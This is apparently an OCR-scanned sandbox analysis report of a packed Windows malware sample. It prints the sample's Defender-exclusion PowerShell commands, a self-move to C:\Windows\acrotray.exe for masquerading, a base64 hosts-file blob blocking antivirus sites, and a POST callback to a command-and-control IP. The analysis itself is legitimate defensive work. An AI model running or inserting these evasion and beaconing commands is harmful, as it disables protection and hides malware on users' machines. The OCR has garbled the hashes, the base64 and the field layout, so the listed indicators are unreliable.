SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

Malicious: false

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_amblrihn.2wj.psm1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

Malicious: false

Preview:
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_drkkekrp.vde.ps1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

SHA-512: 4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FI9BD058A12A280433ED6FA4651(
A

Malicious: false

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_eovqy115.iwl.ps1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
A

Malicious: false

Preview:
1
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C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest hm5i3shc.tba.psm1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:UU

MDS5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

Malicious: false

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_iaxyhgqf.de5.psm1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:UU

MD5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFE84C58B2B37B89903A740E1EEL172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

Malicious: false

Preview:
1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_kwaaxnaf.rts.psl

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6BB04EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FI9BD058A12A280433ED6FA4651(
A

Malicious: false

Preview:
1

C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest_kzwl0lox.zis.ps1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

Malicious: false

Preview:
1
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C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest pgos0k0z.2gr.psm1l

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651!
A

false

C:\Users\luser\Desktop\hosts.bak. (copy)

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\5641e24e22ccd259f18585ed2chbaf6be3b39a04b3c7e.exe

ASCII text, with very long lines, with no line terminators

dropped

8944

5.510727034396864

false
96:ER9pkfrirb7ZZAY78AM2NXk/XNFNKNFNUYj4MEHHuU0PY068uXBpkRYNnO3rsyZuZo:31YY18WJ8A3kkZeN
7EAOFCED249EA6AF785C5BED13F34336

175059CCA534954759EDFD57BE79BE64D709004C
18584FE64395B0D826EA692E83B27B4533C47E32097D94269C48F5D19713E8B4
D952C7B68CIABF550FF44DAEAEN213C55FA6F7C6290415C810825890857D60536F2BC66FCI7E9621C0720D114BEF38913E0EEDI3EFAG8219F9B5F729853A4D84

false

CgkIMTI3LJAUMCAxXIGxVY2FsaG9zdA0JCTEYNy4wLjAUMSBYYWRzLmM1jYWZIZS5jb20KCQkxMjcuMCAwLjEgdGhyZWF0ZXhwZXJOLmNvbQoJCTEYNy4wLjAu
MSB2aXJ1c3NjYW4uam90dGkub3InCgkIMTIBLJAUMCAXIHN}YW5uZXlubm92aXJ1c3RoYWS5rcy5vemcK CQkxMjcuMC4wLjEgdmlyc2NhbisSvemcKCQkxMjcuMC4wLjEge3
[tYW50ZWMuY 29tCgkJIMTI3LJAUMCA4XIHVWZGF0ZS5zeW1hbnRIYY5jb20KCQkxMjcuMCAWLJEQY3VzdGOtZXIuc3ItY W50ZWMuY 29tCgkIMTIBLJAUMCAXIG 1jY WZIZS5)
b20KCQkxMjcuMCAwLjEgdXMubWNhZmVILmNvbQoJCTEYNy4wLjAUMSBtYXNOLmM1jYWZIZS5jb20KCQkxMjcuMCAwLEgZGlzcGFOY2gubWNhZmVILmNvbQoJ
CTEyNy4wLjAuMSBkb3dubG9hZC5tY2FmZWUuY29tCgkJMTI3LJAUMCAxIHNveGhvey5jb20KCQkxMjcuMCAwLjEge3ItY W50ZWNsaXZIdXBKYXRILmNvbQoJ
CTEyNy4wLjAuMSBsaXZIdXBkYXRILNNSbWFudGVjbGI2ZXVwZGF0ZS5jb20KCQkxMjcuMC4wLjEgc2VjdXJIpdHIyZXNwb252ZS5ze W1hbnRIYy5jb20KCQkxMjcuMC4wL j
EgdmlydXNsaXNOLmMNvbQoJCTEYNy4wLjAuMSBmMLXNIY3VyZS5jb20KCQkxMjcuMCAwLjEga2FzcGVyc2t5LmNvbQoJCTEYNyAwWLJAUMSBrY XNwZXJza3ktbG
Ficy5jb20KCQkxMjcuMCAWLJEgYXZwLmNvbQoJCTEYNy4wLjAUMSBUZXR3b3JrYXNzbh2NpYXRIcy5jb20KCQkxMjcuMCAwWLEgY2EuY29tCgkJMTISLJAUMCA4XIG15LWVO

C:\Users\luser\Documents\20220114\PowerShell_transcript.358075.9GYwnzwR.20220114191133.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

5555

5.3807331752623755

false

96:BZjhONyqD01ZnZahONyqD01Z0I3tjZkhONyqDo1Zgo99RZu:d
1D25826DC4C810920BB7043A30AE63D2
436CD6DB47BD2FA18FD9894FB555CA85D0691F6C
BC2F4B75059261F23D47FA9576994D2AA1BD7A7C6229247F806D0650832F3282

57AEA9DA3EF3EE117F1A473E8BA48953A946963500CAD80A11DC042F046ED8OF3C6C2B838B4DSAD5DB3DF3719C5C91A3C74442490BE9EEC57A18ECS5E9BFB
99

false

ekl Windows PowerShell transcript start..Start time: 20220114191134..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 358075 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp.
.Process ID: 1068..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion:
4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1.. ..Command start time:
20220114191134. Frxkrshiikiiirkicik PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp. *¥rxkkxskiiakiaiix \Windows PowerShell transcript st
art..Start time: 20220114191540..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 358075 (Microsoft Windows NT

C:\Users\user\Documents\20220114\PowerShell_transcript.358075.Gl0sshOE.20220114191151.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
UTF-8 Unicode (with BOM) text, with CRLF line terminators
dropped

3234

5.36056988674478

false

96:BZmhONIlagDo1ZYZrhONlagDo1ZtAUUSZj:r4T
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C:\Users\user\Documents\20220114\PowerShell_transcript.358075.Gl0sshOE.20220114191151.txt

MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

3290B019E42A1E78B3283DD28F0661C3

D42E3457C990593097D757AB2D3B0773CC11BB18

4DDD8C0735832D92EAGAGACFD946E21B09F294D6BA9EF26CE80990171A30AF82
7EC35D5E28662E72080E0974131623FFE54F0F3B4A90478638FB06A66A5SBA4EDO7E48874B26FAEF37FFE7COEE9ESCAC5B6015BA02174CABEC171B5564C60300(

false

Jewkikkkideeaaik | Windows PowerShell transcript start..Start time: 20220114191153..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 358075 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp.
.Process ID: 3200..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion:
4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1.. ..Command start time:
20220114191153. #rxkissksmixxiinnk PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp. ****xkkxsiisiix \\indows PowerShell transcript st
art..Start time: 20220114191552..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 358075 (Microsoft Windows NT

C:\Users\luser\Documents\20220114\PowerShell_transcript.358075.1Z224yRiA.20220114191200.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

3234

5.361420377712193

false
48:BZIvhOoOmMN7JgDYB1ZxN1ZyvhOoOmN7JgDYB1ZwvtcNG+3DtcNG+3DtcNG+3UZZD:BZFhONWgD01ZRZOhONWqDo1ZwAUUEZI
AB930FE14D4FC2754F54AEFE62DFDCEG

56E5460F3F9016DE19C236FC5227B22EE10C8847
86553318C3C4409CC0OD5D12D87B22D66E6227F6280DCE7B1AA73A9AC54865CA2
64B21B418DA6B2EB49474577134EF2D591982CA2401FFAD79BA8B96B2C11184BA56B963825E4CA90AA101B5FDDAAY6686E698875619968049825D934DEBODID:

false

ks Windows PowerShell transcript start..Start time: 20220114191200..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 358075 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp.
.Process ID: 5572..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion:
4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1.. ..Command start time:
20220114191200. ***rissiririnaiiniik pS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp. #**#xssissssiiisis \Windows PowerShell transcript st
art..Start time: 20220114191618..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 358075 (Microsoft Windows NT

C:\Users\user\Documents\20220114\PowerShell_transcript.358075.PhAINi02.20220114191140.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

5655

5.3705714673168155

false

96:BZXhONAcqD01ZthZQhONAcqD01ZQo+wjZ0yhONAcqDo1ZflggZZa:Ni
2BB66BADA2AAG6EBFB5A113905A90C49
2C3334B7D66F07C03644215E467F083AD5D89238
704D02101792089CDB8C56257196B1A2ED153AA4AA9EA3558E6C64707A6025F4
D99076FAFES3COF1E45BE7AD377F781FB5A01A12844E1D058C1D80C267E41310AD05C92443889D55E67415C83225087C5F4A60DCCA2D54C633F3F148B3F5899¢

false

ek \Windows PowerShell transcript start..Start time: 20220114191141..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 358075 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\R
oaming\Microsoft..Process ID: 5616..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.1
7134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..

..Command start time: 20220114191141, *rirkkxrkiiriariiks pS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\MiCrosoft. itttk
..Windows PowerShell transcript start..Start time: 20220114191520..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 358075 (Mi
cros

C:\Users\user\Documents\20220114\PowerShell_transcript.358075. bhdDFjc.20220114191205.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

3291

5.3500089296848365

false

96:BZWhONAIgD01ZIhZ1hONAlgDol1ZadZZmZs:+
2F603ABDABD1B16AAESBEFAAF1013FDAS
C83105F78E3290BAB49329B87CA417BA3CD00081
BE7CC110A610AEOA60EOOESABD5A41177CA779EB47E02284D1F89ED7F8DC8DD8
290757A7D4DA286425E06C38C56B92324629CBI9CB56CD3BC7230836B55CBAFIESBC6290E74A15B486743FE9C5E529349A0176BBDCE3078B1B1D856954E716DF

false
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C:\Users\user\Documents\20220114\PowerShell_transcript.358075. bhdDFjc.20220114191205.txt

Preview:

ekl Windows PowerShell transcript start..Start time: 20220114191207..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 358075 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\R
oaming\Microsoft..Process ID: 1068..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.1
7134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..

..Command start time: 20220114191207 .. ***rkkxxkkinxniiiis pS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\Microsoft., **iitiictiiiiik
..Windows PowerShell transcript start..Start time: 20220114191617..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 358075 (Mi
cros

C:\Users\user\Documents\20220114\PowerShell_transcript.358075.modYJzHz.20220114191155.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

3291

5.351849438556751

false

96:BZ7hONABqD01Z9hZXhONAB(qD01Z1dZZkZF:u
541EBD96FE5F89B568C4F516BD606AED
4565038A42D265855BEA5C8F5D78B7C39781FFA6
1A74BF462436C37C738EBE17DCD53254BBB84F2DAE22BC6C03C079E5B541E825
8E84045720D67948328E4820952BD4C8DC1A5A7BOD5252FECFF5576B3AA7F9C807ELICEECA40A84D31916433A7241E878D1A8A8DDC46C137884BD8134C358D893

false

ek Windows PowerShell transcript start..Start time: 20220114191156..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 358075 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppData\R
oaming\Microsoft..Process ID: 2924..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.1
7134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..

..Command start time: 20220114191156. . ***+xwxssisiininsinss pS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\MiCrosoft.. x##ssiictitsikiion
..Windows PowerShell transcript start..Start time: 20220114191602..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 358075 (Mi
cros

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

\Device\Null
Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e.exe

ASCII text, with very long lines, with no line terminators

dropped

8944

5.510727034396864

false
96:ER9pkfrirb7ZZAY78AM2NXk/XNFNKNFNUYj4MEHHuU0PY068uXBpkRYnO3rsyZuZo:31YY18WJ8A3kkZeN
TEAOFCED249EA6AF785C5BED13F34336

175059CCA534954759EDFD57BE79BE64D709004C
18584FE64395B0D826EAG692E83B27B4533C47E32097D94269C48F5D19713E8B4
D952C7B68CIABF550FF44DAEAE0213C55FAGF7C6290415C810825890857D60536F2BC66FC97E9621C0720D114BEF38913E0EEDI3EFAG8219F9B5F729853A4D84

true

CgkIMTI3LJAUMCAXIGXVY 2FsaG9zdA0JCTEYNy4wLjAUMSBYYWRzLM1jYWZIZS5jb20K CQkxMjcuMCAwLEgdGhyZWFOZXhwZXJOLmNvbQoJCTEYNy4wLjAu
MSB2axJ1c3NjYW4uam90dGkub3InCgkIMTISLjAUMCAXIHN]YW5uZXIubm92aXJ1c3RoYW5rcy5vemeK CQkxMjcuMCAwLjEgdmlyc2NhbisvemeK CQkxMjcuMCAwLEge3
[tYW50ZWMuY 29tCgkIMTI3LJAUMCAXIHVWZ GFOZS5zeW1hbnRIYy5jb20K CQkxMjcuMCAWLEQY3VzdGOtZXIuc3Ity W50ZWMuY 29tCgkIMTIBLAUMCAXIG 1jY WZIZS5j
20K CQKxMjcuMCAWLJEgdXMubWNhZmVILmNvbQoJCTEYNy4wLjAuMSBtY XNOLM1jYWZIZS5]b20K CQkxMjcuMCAWLIEGZGlzcGFOY 2gubWNhZmVILmNvbQod
CTEyNy4wLjAuMSBkb3dubGOhZC5tY2FmZWUuY 29tCgkIMTIBLJAUMCAXIHNVEGhvey5ib20K CQkxMjcuMCAWLIEGC3ItY W50ZWNsaX ZIdXBKY XRILMNvbQoJ
CTEyNy4wLjAuMSBsaXZIdXBkYXRILANSbWFudGVjbGI2ZXVwZGF0ZS5jb20KCQkxMjcuMCAwLEgc2VjdXJIpdHlyZXNwb252ZS5zeW1hbnRIYy5jb20K CQkxMjcuMCAwL j
EgdmlydXNsaXNOLmNvbQoJCTEYNy4wLjAuUMSBMLXNIY3VyZS5jb20K CQkxMjcuMCAwWLEga2FzcGVyc2t5LmNvbQoJCTEYNy4wLjAUMSBrY XNwZXJza3kthG
Ficy5jb20KCQkxMjcuMC4AWLEgYXZwLmNvbQoJCTEyNy4wLiAUMSBUZXR3b3JrY XNzb2NpYXRIcy5ib20KCQKxMjcUMCAWLIEGY 2EuY 29tCgkIMTI3LJAUMCAXIG 15LWVO

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with CRLF line terminators

dropped

466

4.892440045701878

false

12:1Stfsj/zRLV85+VulHSk/ko+LbdhFp+9Hv:ntQF5utk/ko+3bdhy
ECOCD8FB16185F3892DD2C39D6FC2FE9
53FB6A2E739DA030FE1D1BBFB9481E0CDEL1765F7
0183B25F759F83A5F6F6330B9AFA0078E6B23BD0081CFAD7ACD7925976DE392F

9C25E6DD2B9D35CODCB8AFB4B8F431BESC6D1A7AAD75B426E4FD52DDBAAF00186FF913123957E8203EDA1880158FB551B4816C9628D320D8893E729F93EC74
0

false

Add-MpPreference : You don't have enough permissions to perform the requested operation...At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\Users\user\AppD
ata\Roaming\Micros .....+ ..+ CategoryInfo : NotSpecified: (MSFT_MpP
reference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorld : HRESULT 0xc0000142,Add-MpPreference.. ..
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\Device\Null

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:

File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Data Directories

Copyright Joe Security LLC 2022

00828e8e8686b000

0x8fe990
UPX1
false
0x400000

windows gui

PE32+ executable (GUI) x86-64 (stripped to external
PDB), for MS Windows

7.8679927345645195

Win64 Executable (generic) (12005/4) 74.80%
Generic Win/DOS Executable (2004/3) 12.49%
DOS Executable Generic (2002/1) 12.47%

VXD Driver (31/22) 0.19%

Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.04%

5641e24e22ccd259f18585ed2chbaf6be3b39a04b3c7e.e
xe

e o o o o

1843200
8fb77edbae0c40ele19d82a406b7615a
0d1580519970aadaae7a4771bba39668ac0c583f

5641e24e22ccd259f18585ed2chbaf6be3b39a04b3c7el7
0063a684e21bcf078

4de4c2b2f6c72de263ch0ed42df2f6fc502582a795cc00c
d47f33465575e3ee1e85d28h9383e3c2d258e3dc3dd665
cab34c4c3f609b3c7145a9e8d0d284da508

49152:w7tSsBqGiSI6UIFID6pOPDmkpcaNv9eSY9h:wZ
SsqPJ60qCR7Nq

EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED,

RELOCS_STRIPPED

0x0 [Thu Jan 1 00:00:00 1970 UTC]

kO kO kO

6ed4f5f04d62b18d96b26d6db7¢18840
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Sections

Name

UPX0

UPX1

UPX2

Imports

Virtual Address
0x1000

0x33d000

0x4ff000

Virtual Size

0x33c000

0x1c2000

0x1000

Network Behavior

Network Port Distribution

TCP Packets

Raw Size

0x0

0x1c1c00

0x200

HTTP Request Dependency Graph

e 185.112.83.96:20000

HTTP Packets

Session ID

0

Timestamp

Jan 14, 2022
19:11:34.691591024 CET

Jan 14, 2022
19:11:34.750452042 CET

Source IP
192.168.2.3

kBytes

transferred
1129

1129

Code Manipulations

Statistics

Behavior

)

Copyright Joe Security LLC 2022

Source Port
49751

Direction
ouT

Click to jump to process

Xored PE ZLIB Complexity
unknown unknown

False 0.975809586055
False 0.1953125

Destination IP

185.112.83.96 20000

Data

POST /callback HTTP/1.1
Host: 185.112.83.96:20000
User-Agent: Go-http-client/1.1
Content-Length: 60

File Type

unknown

data

data

Destination Port Process

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

Entropy

unknown

7.86864211163

1.37191358908

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_CNT_UNINITIALIZED_
DATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

C:\Users\user\Desktop\5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e.exe

Data Raw: 63 61 6¢ 6¢ 62 61 63 6b 3d 48 6b 74 67 59 63 6e 6e 25 32 32 43 66 66 67 66 25 32 32 25 32 46 25 32 32 63 65
747176 74 63 25 37 42 26 72 65 67 69 6e 66 6f 3d 57 75 67 74 4d 4b 56
Data Ascii: callback=HktgYcnn%22Cffgf%22%2F%22cetqvtc%7B&reginfo=WugtMKV

HTTP/1.1 200 OK
Date: Fri, 14 Jan 2022 18:11:34 GMT
Content-Length: 0
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System Behavior

Analysis Process: 5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e.exe PID: 4356

Parent PID: 4764

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Deleted

File Moved

File Written

File Read

Registry Activities

Key Value Created

19:11:30

14/01/2022
C:\Users\user\Desktop\5641e24e22ccd259f18585ed2chbaf6be3b39a04b3c7e.exe
false
"C:\Users\user\Desktop\5641e24e22ccd259f18585ed2cbbaf6be3b39a04b3c7e.exe"
0x400000

1843200 bytes

8FB77EDBAEOC40E1E19D82A406B7615A

true

true

C, C++ or other language

low

Show Windows behavior

Show Windows behavior

Analysis Process: cmd.exe PID: 6516 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Copyright Joe Security LLC 2022

19:11:31

14/01/2022
C:\Windows\System32\cmd.exe
false

cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\user\AppDat
a\Local\Temp"

0x7ff76d4d0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

high

Show Windows behavior
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Analysis Process: cmd.exe PID: 7072 Parent PID: 4356

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

19:11:32
14/01/2022
C:\Windows\System32\cmd.exe

false

cmd /Q /C move /Y C:\Users\user\Desktop\5641e24e22ccd259f18585ed2chbaf6be3b39a04

b3c7e.exe C:\Windows\acrotray.exe
0x7ff76d4d0000

273920 bytes
